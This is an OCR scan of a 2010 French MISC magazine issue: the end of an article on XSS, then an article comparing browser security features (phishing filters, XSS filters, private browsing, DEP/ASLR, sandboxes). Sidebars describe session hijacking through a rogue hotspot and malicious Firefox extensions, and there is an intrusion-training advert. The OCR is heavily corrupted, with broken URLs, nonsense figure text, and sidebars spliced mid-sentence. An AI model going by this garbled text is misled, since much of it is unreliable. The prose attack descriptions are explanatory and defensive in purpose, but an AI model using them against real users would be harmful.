« < » et « > », par exemple,

Tout suivi incomplet de cette procédure expose au risque
d’une nouvelle attaque ; dans les cas que nous avons été
amenés a traiter, y compris ceux qui impliquaient des
sites de grande audience comme Facebook, MySpace ou
Hib5, il est souvent arrivé qu’une ou méme deux étapes
soient négligées.

La réactivité et la compétence des équipes, qu’elles aient
en charge 'administration et la surveillance des réseaux
ou le développement et la qualification des applications,
est donc dans la lutte contre le XSS comme souvent
ailleurs une composante essentielle [27]... Mémesionl'a
vu, certains choix strategiques voire démagogiques, qui
prennent facilement le pas surles impératifs de sécurité,
sont de nature a fragiliser des architectures par ailleurs
déja complexes et difficiles a4 maitriser.



Conclusion

Au terme de ce voyage initiatique, ou 1’étrange
parenté du XSS avec le buffer overflow nous a
permis d’en mieux discerner les contours, ou l'on
a tenté aussi de compter les forces en présence,
celles du mal d’une part, représentées par le XSS
et son funeste cortége, celles du bien de l'autre,
pleines de bonnes intentions mais non exemptes
d’erreurs et d’oublis, force est de constater que nous
ne sommes pas a l’abri d’attaques XSS massives,
qui par leur violence et leur soudaineté, peuvent
évoquer des pluies d'orages. A l'instar de gouttes
d'eau capables de se regrouper rapidement en de
gros nuages noirs pour retomber violemment et de
maniére imprévisible, le XSS, combiné au lancement
d’exploits divers visant les navigateurs ou leurs
greffons, représente sans nul doute aujourd’hui un
risque a ne pas négliger : comme les pluies d'orages,
capables de provoquer d’importantes inondations,
y compris dans des endroits censés étre a I'abri de
I'eau, le XSS offre aujourd’hui les moyens de frapper
directement ou indirectement presque n’importe
quelle cible sur des réseaux publics ou privés. Dans
notre panorama, forcément incomplet tant le sujet
est riche et en perpétuelle évolution, nous avons peu
parlé des contre-mesures embarquées ou intégrables
dans les navigateurs, qui représentent sans doute
une lueur d’espoir. Des extensions comme NoScript,
bien que relativement contraignantes, permettent
depuis assez longtemps déja d'éviter de charger et
d’exécuter des éléments suspects dans Firefox, mais
il faut surtout se réjouir d’initiatives comme celle de
la fondation Mozilla, qui en proposant une premiéere
implémentation de la spécification Content Security
Policy*? dans la version béta 3.6 de Firefox, montre
son intention d’apporter des solutions au probléme du
contrdle des contenus coté client. Encore faut-il que
I'idée s’impose au plus grand nombre et qu’elle ne
serve pas d’alibi a I’assouplissement des contraintes
de sécurité imposées aux développeurs. Notons que
d’autres navigateurs, comme Internet Explorer 8 ou
Chrome, se dotent aussi progressivement de filtres
anti-XSS, méme si ces derniers se montrent encore
capricieux?®. Malgré ces bonnes nouvelles, en se
projetant un peu en arriére, on ne peut s’empécher
de nourrir quelque inquiétude pour l’avenir, en
constatant que ce diable de XSS pouvait encore étre
facilement terrassé il y a une quinzaine ou méme une
dizaine d’années, et qu’au lieu de cela, il a prospéré,
lové dans les bras tendres et aimants de tous ceux
qui sans grande hésitation, contre une poignée de
réseaux sociaux ou les yeux de velours d’AJAX, ont
accepté de lui vendre une partie de leur ame. W
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= NOTES

'« Ils allaient obscurs dans la nuit solitaire »,
Virgile, Eneéide, ch.VI, 268.

* Veoir hitp:liwww.certa.ssi.gouvfrf
# Voir http:/fbit.lyl1YkZty

1 Voir hitp:ibitily/08kgx7k

? Voir http:/ibitily/9taQxx

% Voir hitp:fibit.ly/2vvzel

7 Voirx hitp:/itwitpwn.com/

? Voir http:/ibit.yitBfrP

9 Les annexes de 1"article présentent le code !
commenté du ver YAMIW (Yet Another MySpace
Inocuous Worm), testé avec succes sur MySpace
le 26 février 2009, La vulnérahilité exploitée
a naturellement été corrigée depuis.

" Le DNS rebinding consiste a transformer le
navigateur de la victime en véritable proxy
ouvert, autorisant a totalemeni contourner
le principe de la Same Origin Policy : voir
hitp:/ibit.ly/ej4MJ.

11 Vair hitp:/ibit.ly/igoxok

2 Voir W30, « HTMLS », [en ligne], disponible
a I'adresse i http:/bit.ly/3Cpwa, lconsulté le
03 mars 2009]. il

" Voir hitpfibit.ly/bhclMp et hitp:ibit ly/cteWvF

" Voir http:/ibit.\yfgoxok

' Cette adresse [P est susceptible de changer :
209.85,229.132 ou 74.125.155.132, par exemple.

" Voir' http://bit.ly/150wpY pour Facebook, par
exemple.

' Voir hitp:/itwitpwn.comf pour les applications
lices a Twitter ; hitp:/(hitily/al3HMT pour les
applications liées a Facebook,

18 Voir http:libit.lyfald0ac
11y en aen fait davantage.
2 Voir of. http/ifrwikipedia.orgfwiki/Captcha

1 Voir le tableau disponible sur le site de
I"OWASP : http:libit,lyfa5e3d3Y.

* Voir I"annonce faite sur le blog de Mozilla :
hitp:ifbitilyltajFwd | et httpiiibit.ly/5cTfz pour la
spécification.

1 Voir httpiibit.ly/KLxPJ ; htip:/bit.ly/bcgEix

Les références de cet article sont disponibles sur
www.miscmag.com/refd9.
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LA SECURITE DANS LES
NAVIGATEURS WEB

Christophe Devaux - SOGETI ESEC R&D

mots-clés : NAVIGATEURS / ARCHITECTURE / SECURITE / COMPARATIF

il est un sujet de trolls quasi quotidien sur la Toile, c'est bien de chercher a
démontrer quel est le meilleur navigateur web. Ca tombe bien, ce qui suit a
Jjustement pour objectif dalimenter ces trolls !

Cet article effectue un tour d'horizon (non exhaustif) des outils de sécurité destinés
a l'utilisateur, tels que les filtres anti-phishing, les protections contre les malwares
ou contre ces attaques bizarres' qui se terminent par « jack ». Seront aussi évoqués
les mécanismes implémentés par les navigateurs afin de complexifier I'exploitation

d’une vulnérabilité.

1 Les protagonistes

Commengons par présenter les intervenants : Internet
Explorer 8, le navigateur de Microsoft, domine toujours
le marché, sans doute parce qu’il est toujours livré
nativement avec Windows. Le challenger, Firefox le petit
panda roux, se porte bien et continue a se faire adopter
(il en est a 30% d’apres les rumeurs) tandis que Google
joue le trouble-féte avec Chrome, fondé sur le projet open
source Chromium. Nous parlerons aussi du navigateur
d'Apple, Safari, pour ne pas laisser les utilisateurs Mac
seuls dans leur coin, ainsi que d'Opera, sinon certains
risquent de bouder.

Le tableau suivant achéve les présentations de maniére
un peu plus intime : voir tableau ci-contre.

Chaque année, le concours Pwn20Own de la conférence
CanSecWesl? nous rappelle que les navigateurs web
restent de bons points d’entrée pour un attaquant, malgré
les protections mises en place. Qu’en est-il vraiment ?

Les protections

« visibles »

Les vulnérabilités des navigateurs font souvent
beaucoup de bruit, mais ce ne sont pas forcement elles
qui réalisent le plus de dégéts. Le domaine dans lequel

m Misc N°48 - Mai/Juin 2010

.

Trident 4.0 -

Windows

Windows /
Mac OS X/
Linux / etc.

Firefox 3.6 Gecko 1.9.2 | TraceMonkey

Chrome 5.0 | Windows/ | WebKit533 | V8 2.0
| MacOS X/
Linux -

Safari 4.0

Windows /
Mac OSX

WebKit 531

SquirrelFish
Extreme

Opera 10.5

| Windows /
| Mac OS X'/

Presto 2.5.22

Carakan -

Linux / etc.

les escrocs excellent reste bien les attaques ciblant
I’humain plutét que le logiciel, phishing en téte. C'est
pourquoi aujourd’hui, le logiciel s’adapte pour toujours
mieux protéger 1'utilisateur.

2.1 Anti-phishing et

anti-malware

Les cing navigateurs intégrent par défaut des filtres
anti-phishing et/ou anti-malware, dont le principe
consiste & maintenir & jour une liste de sites connus
comme étant malveillants. La navigation sur de tels sites



peut avoir des conséquences assez désagréables pour
un utilisateur un peu naif (récupération d’identifiants,
d'informations bancaires, etc.) ou tout simplement
malchanceux (exploitation de la derniére faille non
corrigée du moment). Lobjectif de l'attaquant est de
persuader l'utilisateur qu’il visite un site légitime, et
ceci se traduit par une copie graphique parfaite dudit
site et par des noms de domaines trés proches des
originaux, a quelques fautes prés.

Siles navigateurs utilisent des bases différentes pour
savoir si un site est malveillant, le résultat est quasiment
le méme pour tous lorsque la réponse est positive : un
avertissement sur fond rouge que l'utilisateur ne peut
pas rater (Figure 1).

+ U legicial mabvallian...

« c N 9 mialvwars testing.poogle test

Avertissement : Visiter ce site peut
étre préjudiciable a votre
ordinateur !

Lusita Wal 3 [adiesss malwars testing.posgle.test sembls
Frbbargar das bgiciels mabsdlams {logiciets qui pavam Fuire § vt
ordinateis ou gl 3 votre insul. Vols ordinabaur peo Hie infects s
dune singple viste dun she hebageant des logicials ratilants
Pour das infomistions caeallasn sur les problémes e & ca gits,
rendez-ous sur | page Page ds diagnostic de navigation sécinisda
de Google pour mabvare testing. google test
B X TR i
2 ligna

Ji comprends que [ daits de ce sl peit Se prajudiciable &
ron crdiateur i

Retear 4 la séeunts

Fig. 1 : Avertissement anti-phishing de Chrome

Voyons maintenant les particularités du filtre anti-
phishing de chacun :

- Internet Explorer

Le filtre SmartScreen actuellement disponible
dans Internet Explorer 8 est une évolution du filtre
anti-phishing apparu dans la version précédente.
I1 fonctionne d’abord en arriére-plan en analysant
les pages web pour déterminer si elles contiennent
certaines caractéristiques suspectes. Lorsque c'est
le cas, un avertissement est affiché, recommandant
la prudence. Le filtre vérifie ensuite la présence du
site visité dans sa liste de sites de phishing connus,
En plus de surveiller les sites visités, le filtre
veille maintenant sur les fichiers téléchargés par
l'utilisateur.

La base de données de SmartScreen est alimentée
par les remontées d'informations provenant de plusieurs
sources (Windows Live, Bing, les signalements effectués
dans Internet Explorer, etc.). Lors de la navigation,
le filtre vérifie la présence du site web visité dans la
base de données et affiche un avertissement si c’est
le cas. La communication entre la base de données
et le navigateur est sécurisée par SSL.
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- Chrome, Firefox, Safari : I’API Google Safe
Browsing

Ces trois navigateurs utilisent un service fourni par
Google pour leur filtrage anti-phishing. Une liste de
sites de phishing et une liste de logiciels malveillants
sont automatiquement téléchargées toutes les 30
minutes. En réalité, ces listes ne contiennent pas
I'intégralité des adresses des sites malveillants de
la base de Google, mais les 32 premiers bits d’un
condensat SHA-256 de chacune d’elles.

Lorsqu'un utilisateur charge une page, le condensat
SHA-256 de l'adresse de cette page est calculé. Il
en est de méme pour les adresses des éléments
contenus dans la page, comme les scripts JavaScript
ou les applications Flash. Les 32 premiers hits de ces
condensats sont alors comparés avec ceux contenus
dans les deux listes. Lorsqu'une correspondance a
lieu, le navigateur demande au serveur de Google
les 224 bits manquants du condensat pour effectuer
une comparaison compléte et s’assurer qu'il doit
bien interdire I'acces au site. Le protocole® de '’API
Google Safe Browsing est décrit sur le site du projet.

Google travaille avec le site StopBadware.org
pour maintenir a jour sa base de sites malveillants.

Opera

Lorsque sa protection anti-fraude est activée,
Opera envoie a un serveur central un condensat du
nom de domaine visité. Le serveur cherche alors
ce condensat dans une liste de sites de phishing
élaborée par Netcraft et PhishTank, et dans une liste
de logiciels malveillants maintenue par TRUSTe. Si
le condensat correspond a une entrée présente dans
I'une de ces listes, le serveur retourne au navigateur
les adresses malveillantes hébergées surle domaine.
Une alerte est remontée a l'utilisateur dans le cas ou
une de ces adresses correspond au site qu'il visite.
Un lien vers une page décrivant le probléme plus
en détail est aussi inclus.

A par Internet Explorer qui demande s’il faut
utiliser son filtre anti-phishing lors de son premier
lancement, cette protection est activée par défaut
sur les autres navigateurs.

E B Ouvrir un compte Pay Vious veus trouves sur
{ paypal.com
dont e détenteur est

{ Paypaf PayPal, Inc.

I San Jose
California, Us

| Viérifid par : VeriSign, Inc
imple|

S Vetre connexion vers ca site est chiffrée afin
d'empécher |'imterception des infermations

Volrg pays au région 3
Transmises.

| France

| Termingé

Fig. 2 : Affichage d’un certificat SSL EV dans Firefox
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En plus du filtre anti-phishing, les cing navigateurs
supportent les certificats SSL EV (Extended Validation
Certificates). Ces certificats X.509 exigent une enquéte
plus stricte par l'autorité de certification avant leur
publication. Lorsque le navigateur rencontre un certificat
de ce type, la barre d’"URL affiche un signe distinctif vert,
pouvant rassurer l'utilisateur.

2.2 Protection contre les _)_;(_SS

La récente compromission? de certains serveurs du projet
Apache est 1a pour nous le rappeler : une vulnérabilité
XSS peut effectivement faire des dégats. Le cross-site
scripting est un type de vulnérabilité qui permet a un
attaquant d’injecter un script dans une page web, par
l'intermédiaire du navigateur, par exemple, dans le
but de se faire passer pour sa cible ou de dérober des
informations.

Un exemple classique consiste a voler l'identifiant
d’une session de l'utilisateur, stockeé dans ses cookies, afin
d'usurper son identité. Le scénario d’une telle attaque
est simple : I'attaquant, qui a trouvé une vulnérabilité
XSS sur un site, persuade sa victime de cliquer sur une
URL de ce site, spécialement forgée pour exfiltrer des
informations vers un site qu’il contréle. Comment les
navigateurs web nous protegent-ils d’une telle attaque
aujourd’hui ?

- Internet Explorer

Internet Explorer intéegre un filtre anti-XSS qui
protege des attaques XSS non permanentes. Ce
filtre inspecte toutes les requétes et les réponses qui
passent a travers le navigateur. Lorsqu’il détecte une
attaque XSS probable, il la neutralise si elle est rejouée
dans la réponse du serveur. Internet Explorer bloque
alors le script sans poser de question a I'utilisateur.

Cette implémentation pose cependant un probléme
dévoilé 'année derniére® : puisque c’est la réponse qui est
modifiée parle filtre, il

LA SECURITE DANS LES NAVIGATEURS WEB

nouvelles fonctions de sécurité a Firefox, dont un
filtre anti-XSS et CSRF (Cross-Site Request Forgery),
ou encore une protection contre le clickjacking.
NoScript permet aussi de désactiver le contenu
JavaScript globalement et de n'autoriser son exécution
que lorsque 1'utilisateur se trouve sur des sites de
confiance configurés dans 1'extension.

NoScript protege le navigateur des attaques XSS
basées surle DOM (type 0) et des attaques XSS non
permanentes (type 1). A l'inverse du filtre d’Internet
Explorer, lorsque NoScript détecte une tentative
d’attaque XSS, l'extension neutralise la requéte
avant qu’elle ne parte du navigateur.

Opera et Safari ne proposent pas de filtres anti-XSS.
Dans le passé, Chrome disposait d'un tel filtre (XSS
Auditor) mais pour des questions de performance, celui-ci
a été désactivé temporairement a partir de la version 4.1.

Les filtres anti-XSS des navigateurs web ne dérogent
pas a la régle et peuvent étre contournés, a l'aide d’un
minimum d’obfuscation. La solution la plus stire reste
finalement la désactivation totale du JavaScript par
défaut, et son activation ponctuelle, mais ce conseil peut
étre difficile a appliquer. Une politique d’autorisation du
JavaScript par domaine peut alors étre mise en place
dans certains navigateurs : Internet Explorer utilise ses
zones de sécurité, Opera ses préférences par site, et
Firefox son extension NoScript.

2.3 Navigation privee

Navigation InPrivate pour Internet Explorer ou navigation
privée pour Firefox, Chrome (mode Incognito), Safari et
Opera, ce mode permet d’ouvrir une session de navigation
qui ne laissera aucune trace sur l'ordinateur. Introduit
pour la premieére fois avec Safari 2, le fameux « porn
mode » a depuis été adopté par tous les autres navigateurs
et permet & une personne de naviguer sur Internet

sans stocker des données

est possible d’injecter @+ tiamond - Windonws Totmenet Explores (1

T Ridisdttiatsiiadiesbin

(caches, historiques, mots
de passe, cookies, etc.) qui

du code JavaScript
normalement sans effet
sur un site sain, mais
qui sera altéré par
Internet Explorer pour
devenir une injection
XSS fonctionnelle.

e v

i e Fevoris & ed-dizmend

en savoir phus.,

Firefox

Firefox ne posséde
pas de filtre anti-XSS
natif. Cependant,
I'extension NoScript®
est assez populaire

AR T b by L LR REa Ry [
>
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# Internet Explerer & modifié cette page pour empécher le script de site 8 site. Cliques ici pourplus X |

&b Intemet | Mode protégé : activé
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ultérieurement par une
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Si le navigateur
n'enregistre plus les cookies
en navigation privée et ne
les stocke alors plus qu’en
mémoire, ce n'est pasle cas
de certains plugins comme
Flash ou Silverlight. A partir
de la version 10.1, Flash
remédie’ a ce probléme en
supportant la navigation

Promotion

25 du Firewalling

pour étre citée. Cette
extension apporte de
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Fig. 3 : Le filtre anti-X5S d’Internef Explorer a
l'eeuvre

privée de Firefox, Chrome,
Internet Explorer et Safari.




En plus de ce mode, Internet Explorer dispose du
filtrage InPrivate, qui empéche que des fournisseurs de
contenu de sites web (publicités, outils d’analyse web,
etc.) ne collectent des informations sur les sites consultés
par l'utilisateur. Ce filtre inspecte les pages visitées et
permet de bloquer un contenu s’il est utilisé sur plusieurs
sites web. Les autres navigateurs implémentent plus ou
moins la méme fonctionnalité, via des extensions comme
AdBlock, par exemple.

1l est évident que cette navigation n’est privée que
« localement » et qu’en aucun cas, elle n’anonymise la
connexion internet utilisée,

2.4 Mot de passe maitre

Seuls Firefox et Opera proposent de protéger (en
les chiffrant) les mots de passe enregistrés par un mot
de passe maitre. Pourtant, cette fonctionnalité simple
empéche un malware de récupérer automatiquement
I’ensemble des mots de passe.

Chrome ne propose pas d'utiliser un mot de passe maitre,
mais il chiffre les mots de passe enregistrés en utilisant
la fonction CryptProtectData lorsqu'il fonctionne sous
Windows. Les données ne sont alors déchiffrables que
sur la méme machine, en étant connecté avec le méme
compte utilisateur. C’est une bonne méthode, qui ne met
cependant pas un utilisateur a I’abri d'un malware qu’il
exécuterait. Chrome utilise le gestionnaire de mots de
passe de Mac OS, Keychain, pour stocker ces informations
secretes, a l'instar de Safari, alors qu’elles sont stockées
en clair dans une base de données SQLite sous Linux.

2.5 [Mises a jour

Lautomatisation et la facilité des mises a jour est un
aspect important de la sécurité d'un logiciel. A quoi bon
étre réactif a un probléme de sécurité si le correctif n’est
déployé qu'apres son exploitation massive dans la nature ?

Firefox, Opera et Chrome possédent un module de
mise a jour automatique, activé par défaut, 1a ot Internet
Explorer et Safari utilisent le systéme de mise a jour du
systeme d’exploitation (Safari sous Windows installe
Apple Software Update).

La fréquence de recherche des mises a jour de Firefox
est définie a un jour par défaut. Firefox vérifie aussi
I'existence de mises a jour pour les extensions installées
et dispose d'une page web permettant de controler si les
plugins (Flash, Java, etc.) installés ne sont pas obsolétes.
Mozilla souhaiterait que cette page puisse étre utilisée
par n'importe quel autre navigateur, dans le futur,

Opera recherche des mises a jour tous les trois jours,
alors que la fréquence est d'une semaine pour Safari
sous Windows.

HEHEHH

FREI-RELC)E R

La formation, proposée en cing jours par HSC,
permet a chaque stagiaire d'apprendre et de
mettre en pratique les techniques d'intrusion
les plus récentes sur les principales technolo-
gies du marché (systémes d'exploitation, bases
de données, applications Web, etc.).

Jour 1............... Introduction
Découverte réseau et qualification des
cibles
Attaques sur le réseau
®
Jour2..... Intrusion sur les applications web
®
Jour 3.............. Découverte des mots de passe

L'outil Metasploit
Intrusion sur les bases de données

®

Jour4............... Intrusion sur les systémes windows
®

Jour5.............. Attaque des postes client

Intrusion sur les systémes UNIX / Linux

i_ ‘gare - 92300 Levallois-Perret
ormationfr
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Chrome se met a jour automatiquement en arriére-plan,
sans demander |'autorisation a l'utilisateur, lorsque des
correctifs de sécurité ou des nouvelles [onclionnalités sont
disponibles. Sous Windows, Google Updater est utilisé
(la vérification s’effectue alors toutes les cing heures)
alors que sous Mac OS, Chrome utilise Google Software
Update (les mises a jour sont vérifiees une fois par jour).
Les extensions sont mises & jour automatiquement, de
fagon transparente.

Internet Explorer se reposant sur Windows Update,
les mises a jour ne sont en principe disponibles que le
deuxiéme mardi de chaque mois (le fameux Patch Tuesday).
Cependant, lorsque la vulnérabilité est réellement critique,
il arrive que Microsoft publie un correctif en dehors du
cycle normal des mises a jour.

3 Et en interne ?

Un navigateur n’est jamais a 'abri d’'une vulnérabilité qui
aboutirait & une exécution de code, rendant sans effet les
protections précédentes. Des
mecanismes ont logiquement

LA SECURITE DANS LES NAVIGATEURS WEB

Employé seul, le DEP est facilement contournable
par des attaques de type return-to-libc®, permettant
entre autres de désactiver cette protection!? sur le
processus, C’est la que I'ASLR", pour Address Space
Layout Randomization, entre en jeu. LASLR place de
facon aléatoire les zones de données dans la mémoire
virtuelle ; la configuration du processus devient alors
variable, ce qui limite le fonctionnement des attaques se
fondant sur des structures ou adresses fixes, comme les
attaques de type return-to-libc. Sous Windows, 1'’ASLR
est disponible depuis Vista.

1l existe bien siir des équivalents a ces dispositifs
sous Linux (PaX, Exec Shield), Mac OS (partiellement a
partir de Leopard) et d’autres systémes d’exploitation.

Revenons maintenant a nos navigateurs : a partir
de Vista, les cing navigateurs utilisent ces protections
fournies par Windows (DEP permanent et ASLR). Le
qualificatif « permanent » visible sur la figure 4 signifie
qu'il n'est pas possible de désactiver DEP surle processus,
que ce soit via la liste d’exclusion de Windows ou en
appelant directement la fonction correspondante dans

I’API Windows (technique
utilisée lors d'une attaque

été développés pour rendre Process DEP
iffici =1 | wplorer.axe |DEP
plus _dlffmlle une_tgl]e o i e }
exploitation, ou en limiter = @cwmeee |DEP W‘" ""'“)
les conséquences. @ chome.exe | DEP (pemanent)
P chomeaxe | DEP {pamanent)
inté - = @iexplore sxe | DEP (permanent)
}l est 1ntefessg¥1t,de noter peisesit U =2 fsdeb
qu'une vulnérabilité dans un @ frsfox exs DEP pemanent)
moteur de rendu utilisé par & Safer eve |DEP {pamanent)

Integrity  ASLR  Vitualized de type return-to-libc).

Medum  ASLR

Medum . ASLR - Vituelized Ces protections sont
Medum  ASLR : s

Low ASLR aujourd’hui contournables,
Lo, il ASCR notamment via la méthode de
Medum ASLR \Vitushized vy i
Law ASLR  Vitualized JIT Spraying'* qui consiste a
Medium  ASLR : SRR
e s créer un shellcode dans

plusieurs navigateurs n'aura
pas forcementle méme impact.
Par exemple, quand Apple
corrige des vulnérabilités dans
WebKit pour son navigateur Safari, on peut soupgonner
que ces vulnérabilités affectent aussi Chrome. Les
conséquences sont-elles les mémes dans les deux cas ?

3.1 Quand le systeme

d’exploitation s'en méle

Sous Windows, la problématique du navigateur web
lancé avec les droits administrateurs tend a disparaitre
depuis Windows Vista. Si ¢’est déja un grand progres
pour la sécurité du systéme, ce n’est pas suffisant pour
assurer celle des données de l'utilisateur.

Lexploitation d'une vulnérabilité au sein du navigateur
web passe généralement par |'exécution d'un code natif
« injecté » dans le processus par du code JavaScript.
Un premier dispositif de sécurité intervient ici, appelé
Data Execution Prevention® (DEP) sous Windows. Celui-
ci empéche l'exécution de code depuis des zones de
mémoire supposées contenir uniquement des données,
comme la pile. Le DEP est disponible depuis le service
pack 2 de Windows XP.

m Misc N°48 - Mai/Juin 2010

Fig. 4 : DEP permanent et ASLR activés sur
les cing navigateurs,

zone forcément exécutable,
en passant par un compilateur
Just-In-Time'* (de Flash, Java
ou Silverlight, par exemple).
Le compilateur JIT alloue
une zone mémoire exécutable pour transformer son
bytecode en code natif, qui sera ensuite exécuté par
le processeur. Avec un peu de travail, il est possible de
faire générer au compilateur JIT un shellcode utilisable
pour l'exploitation d’une vulnérabilite.

sous Windows 7.

Ceci rend l'exploitation d'une vulnérabilité dans
un navigateur web réalisable méme sous Windows 7.
Internet Explorer 8 en a d’ailleurs fait les frais lors du
dernier concours Pwn20wn!. Alors que reste-t-il pour
nous protéger ?

3.2 L'isolement, une solution

gui a la cote

Actuellement, la réponse passe par l'implémentation
d'une sandbox au sein du navigateur : si I'exploitation
d’une vulnérabilité aboutit, I'attaquant n’aura acces qu’a
un nombre réduit d’informations et de fonctionnalités.
Liattaquant doit alors trouver une nouvelle vulnérabilité
dans la sandbox pour s’en échapper. Décrire en profondeur



la sandbox d’Internet Explorer ou celle de Chrome
nécessiterait un article complet. Ce qui ne sera donc
pas fait ici.

La sandbox d’'Internet Explorer ne fonctionne qu’a
partir de Windows Vista puisqu’elle se fonde sur le
mode protégé's et sur I'UAC (User Account Control)
du systeme d’'exploitation, absents de Windows XP. Le
navigateur est alors un processus d’intégrité faible et
n’'a acces qu’a certains répertoires et clés du registre.
Le navigateur possede des droits encore plus restreints
que le compte utilisateur quil'exécute, ce quil’empéche
d’installer un programme. Un processus d’intégrité faible
ne peut pas interagir avec un processus possédant un
plus haut niveau d'intégrité. Quand Internet Explorer
essayera de modifier un objet ayant un niveau d'intégrité
élevé, une erreur sera levée.

La sandbox de Chrome est un élément clé de la sécurité
du navigateur. Son but est d’empécher l'installation de
malware ou l'exfiltration d‘informations appartenant
a l'utilisateur, en évitant que ce qui se passe dans un
onglet en affecte un autre. Ce qui doit étre sandboxé
est exécuté dans un processus distinct : un processus
privilégié (le broker) crée et dirige via des IPC les autres
processus sandboxés (les targets), de moindre privileége.
Son implémentation difféere en fonction du systéme
d’exploitation sur lequel Chrome s'exécute.

Sous Windows!®, la sandbox s'appuie sur des mécanismes
fournis par le systeme d’exploitation :

- Un jeton restreint, spécialement congu pour que
Windows ne donne acces a aucune ressource au
processus (cependant, avant Vista, un tel jeton ne
peut pas sécuriserl’acceés au réseau ou aux volumes
FAT32).

- Un objet Windows job, qui interdit de nombreuses
fonctionnalités, comme la création de nouveaux
processus, la modification de parametres du systéeme
(souris, résolution, etc.) oul'acces au presse-papiers.

- Un objet Windows Desktop, qui réunit les processus
sandboxés sur un autre bureau afin qu’ils ne puissent
pas envoyer de messages Windows a d’autres
processus.

- Et les niveaux d’intégrité a partir de Vista.

Sous Mac OS'"?, Chrome utilise I’API de sandboxing
fournie par Leopard. Un processus est sandboxé a
I’aide d'un simple appel a la fonction sandbox_init(),
en spécifiant les politiques a appliquer, a savoir aucun
acces au réseau et un acces limité au systéme de fichiers.

Enfin, sous Linux'®, un binaire SUID est utilisé pour
chrooter les processus sandboxés, leur interdisant ainsi
I'acces au systéeme de fichiers, mais pas au réseau.

Les plugins comme Flash ne peuvent étre sandboxés
de la méme maniere que les onglets, car ils ne sont pas

FOCUS SHR -

= QUI NE CONNAIT PAS
FACEBOOK (A PART MOI)

On l’aura remarque,
I'Internet mobile est en
plein ¢ssor Pour rester:
connecte a ses amis et
accroché a son mur, la-
plupart des téléphones -

portables proposent une application Facebook. Comme

beaucoup de sites, il en existe une versionlégére, spéciale

pour les mobiles touch-facebook.com: Uauthentiication:
se déroule en HTTPS et le resie des cummumcdtwm. en -

¢ du m.é.c.haut., quel est 'intérét de ces sites ? E-n_

e n"est pas tant ces versions guisont intéressantes -

que le vecieur d'acees; ¢'est-a-dire le-mohile: Cet objet
¢ partout. Maintenant, la‘plupart des gens ont
{légerement) conscience gii'il n’est pas recommande de
se connecter a des dennées privées via un ordinateur =
public. Mais un téléphone est un ebjet personnel, doncil -
peut servir atransferer ses (pires) photessur Faceb'ook =

Et c’est justement la que le bat blesse. lmagmonq un =
Lype un peu ingénieux et malveillant gui « propose » un

¢s Wiki gratuit, parexemple; dans:un aéropoert, une::
gare, ou le restaurant qui sert de cantine aux employes
d'une entreprise cibie; et¢. Gentiment, il relie son hotspot:
a Internet. Il n’a plus gu’a attendre gque:les gens se
connectent a Internet grace a son service,:

Il est donc en mesure de voir passer tout le trafic, y
compris le cookie de session, qui ne demande plus qu ‘a
étre rejoue. i

Chose particulierement intéressante surles cookies des
sites mobiles, ils ont généralement une duree de vie loin
d’étre négligeable. En effet; les claviers des maebiles
n’étant pas particulidrement agréables, il faut ameliorer
Fexpeérience utilisateur, Dans e cas de Facebookj¢’est
un an, durée amplement raisonnable pourespionneria
vie privée d'une personne,

A noter qu’on ne mentionne ici que Facebook, mais ceci
est vrai pour la grande majorité des applications pour
mobiles, et 'AppStore d’Apple regorge d'exemples.

Ainsi, une application destinée a échanger des petits

messages texte, WhatsApp, indigue les identifiants

des sources ‘et destinations, ainsi que le message.:
Que se passerait-il si un spammeur utilisait cela pour

envoyer de la pub a tour de bras, en spoofant la source
du message ?

Cela pose accessoirement le prebleme de la sécurite

des applications guand elles deivent éire-hebergées,

que ce soit sur mohiles; ou dans des environnements:
comme Facebook aussi. 11 est possible de développer ses

propres applications; puis de demander a Facebook de les

valider pour garantir qu’elles ne sont pas malicieuses.:
On gagne alors un joli logo vert rassurant. Mais quid des

modifications ultérieures ? Quid du faif que Papplication

n'est pas hebergée chez Facebook 7

R




= QUAND LE DANGER
PROVIENT DES
EXTENSIONS...

Le systeme des extensions

de Fireltox a largement

contribué asa popularite:

Pouveoir modifier

intégralement Firefox

permel achacund ajouter

les fonctionnalités gu’il

souhaite trouver dans son

navigateur. Cependant;

cette possibilite offerte

aux développeurs n'est pas

sans risgue ; rienn‘empeche une
ension d’avoirun comportenient

malicieax el d’agir comme une veritable

porte dérobée sur le systéme;

Un intéret majeur d’uneielle porte dérobee concerne
la portabilite il est plutét facile de programmer une
extension Firefoxen menten JavaScript afin gu’ele
fonctionne sous Windows, Einux et Mac OS, Les possibilites
sont ensuite multiples - implémenter un keylogger, voler
les motis de passe, les cookies ou les favoris, etablir
une connexion directe avec
explorerle systeme de fichiers, etc. La communication
avec Fattaguant s’effectue naturellement en utilisant
e moteur HTTP(S) du navigateur, extension ne
nocessile pas de droits particuliers pour son installation
car celle-¢i s’effectue dans le profil personnel de
Futilisateur. Pour finir, Pextension est méme capable
de se cacher du gestionnaire d’extensions, puisqu'elle
controle presgque intégralement Vinterface graphique
du navigateur.

taguantviaune console,

I en'est de meme avec Internet Explorer, a Ia différence

pres ot il est ire d’étre administrateur pour
installer une extension. Mais une fois 'installation
passes, le Browser Helper Module pessede un conlrble
total sur le navigateur.

Auniconiraire, Tes extensions de Chrome semblent
plutét bien cloisonnées. La seule modification qu'une
extension peul effectuer sur I'interface du navigateur
concerne Pajout d’une icone a coté de 1a barre d’URL.
Lextension tourne dans un processus sep:
le design de securite du navigateur, Un fichier décrit
eges requis par 'extension (par exemple,
les domaines accessibles), mais rien n‘empeche une
extension malicieuse de s’atiribuer les priviléges les
plus éleveés:

LA SECURITE DANS LES NAVIGATEURS WEB

standardisés. Ils sont alors exécutés dans un processus
séparé qui communique avec le processus de rendu, de
faible privilege.

Firefox, Safari et Opera ne possédent pas (encore)
cette notion de sandbox. Il est cependant possible d’en
ajouter une'®2° 3 Safari en utilisant la fonctionnalité
native?' de sandboxing de Leopard. Le méme principe
peut étre appliqué a n’importe quel navigateur sur ce
systéme d’exploitation.

4 Le futur ?

Grace a une concurrence renouvelée, les navigateurs
web ne cessent de s’améliorer. Quand par le passé, Firefox
a privilégié un développement axe sur les fonctionnalités,
Chrome a préféré se concentrer sur la stabilité, les
performances et la sécurité. Maintenant que Chrome
posséde un socle solide, Google y ajoute des fonctionnalités
(support des extensions, par exemple) alors que Mozilla
se doit d’améliorer les performances (consommation
mémoire en téte) et la sécurité de son navigateur.

4.1 Du coté de Firefox

La prochaine version majeure de Firefox (4.0) cherche
arattraper son retard sur Chrome en intégrant a son tour
une sandbox. La technologie s'appelle Electrolysis® et
elle permettra a Firefox d’isoler chaque onglet dans un
processus séparé, lancé avec des droits faibles. Une version
